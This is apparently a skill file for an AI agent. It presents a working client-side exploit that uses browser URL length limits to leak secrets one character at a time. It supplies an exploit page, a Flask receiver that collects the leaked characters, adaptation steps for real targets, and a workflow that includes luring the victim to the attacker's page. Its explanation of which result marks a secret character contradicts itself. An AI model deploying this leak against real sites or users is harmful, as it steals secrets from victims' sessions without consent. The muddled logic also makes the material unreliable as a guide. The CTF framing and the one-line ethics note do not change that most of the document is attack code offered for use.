URL Length Exploit - Client Side
This skill helps you exploit browser URL length limits to leak secrets character-by-character. Chrome has a 2MB URL limit, and when a URL exceeds this limit, the browser fails to load it. We can use this to determine which characters are part of a secret.
How It Works
The Vulnerability: Browsers have maximum URL length limits (Chrome: ~2MB). When a URL exceeds this limit, the browser cannot load it.
The Exploit: We construct URLs that are just under the limit, then try adding each possible character. If the URL loads successfully, that character is NOT part of the secret. If it fails, that character IS part of the secret.
Detection: We use
window.open()and check ifw.originthrows an error. If it does, the URL was too long and the character is part of the secret.
Exploit Template
Client-Side Exploit (exploit.html)
<html>
<body></body>
<script>
;(async () => {
// Base URL with the secret prefix
const curr = "http://target.com/search?query=SECRET_PREFIX{";
// Function to test each character
const leak = async (char) => {
// Send request to track which character we're testing
fetch("/api/try=" + char);
// Open URL with character + padding to reach 2MB limit
let w = window.open(
curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
);
// Check if URL loaded successfully
const check = async () => {
try {
w.origin; // Throws if URL is too long
} catch {
// URL too long - this character is part of the secret!
fetch("/api/nope=" + char);
return;
}
setTimeout(check, 100);
};
check();
}
// Character set to test (adjust based on the challenge)
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789";
// Test each character
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i]);
await new Promise((resolve) => setTimeout(resolve, 50));
}
})();
</script>
</html>
Server-Side Receiver (for CTF/pentesting)
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
Adaptation Guide
1. Adjust the Base URL
Change curr to match your target:
const curr = "http://target.com/path?param=SECRET_PREFIX{";
2. Modify the Character Set
Adjust CHARSET based on what characters the secret might contain:
// Common CTF flag format
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}";
// URL-safe characters
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_.~0123456789";
// Full ASCII
const CHARSET = "!".charCodeAt(0) to "~".charCodeAt(0) // programmatically generate
3. Handle Different URL Length Limits
Different browsers have different limits:
- Chrome: ~2MB (2 * 1024 * 1024 bytes)
- Firefox: ~64KB
- Safari: ~80KB
Adjust the padding calculation:
const URL_LIMIT = 2 * 1024 * 1024; // Chrome
const padding = "A".repeat(URL_LIMIT - curr.length - 2);
4. Add Error Handling
For production use, add timeout handling:
const check = async () => {
try {
w.origin;
} catch {
fetch("/api/nope=" + char);
return;
}
setTimeout(check, 100);
};
// Add timeout
setTimeout(() => {
console.log("Timeout for character:", char);
}, 5000);
Usage Scenarios
CTF Challenges
- Look for challenges with URL-based secrets
- Check for hints about URL length or browser limits
- Common in web exploitation categories
Pentesting
- Test web applications for URL length vulnerabilities
- Check if sensitive data is exposed via URL parameters
- Verify proper input validation on URL parameters
Research
- Understand browser security limitations
- Document URL-based attack vectors
- Create proof-of-concept exploits
Important Notes
Cross-Origin Restrictions: The exploit requires the target to be same-origin or have CORS enabled.
Browser Compatibility: Different browsers have different URL length limits. Test on the target browser.
Rate Limiting: Add delays between requests to avoid triggering rate limits.
Ethical Use: Only use this technique on systems you have permission to test.
Example Workflow
- Identify the target: Find a URL with a secret prefix (e.g.,
?query=FLAG{) - Set up the server: Run the Flask receiver to track leaked characters
- Deploy the exploit: Host
exploit.htmlon a server you control - Trigger the exploit: Get the target to load your exploit page
- Collect results: Monitor the server logs for leaked characters
- Reconstruct the secret: Combine the leaked characters in order
References
- Original CTF Writeup
- Chrome URL length limit: ~2MB
- Firefox URL length limit: ~64KB
- Safari URL length limit: ~80KB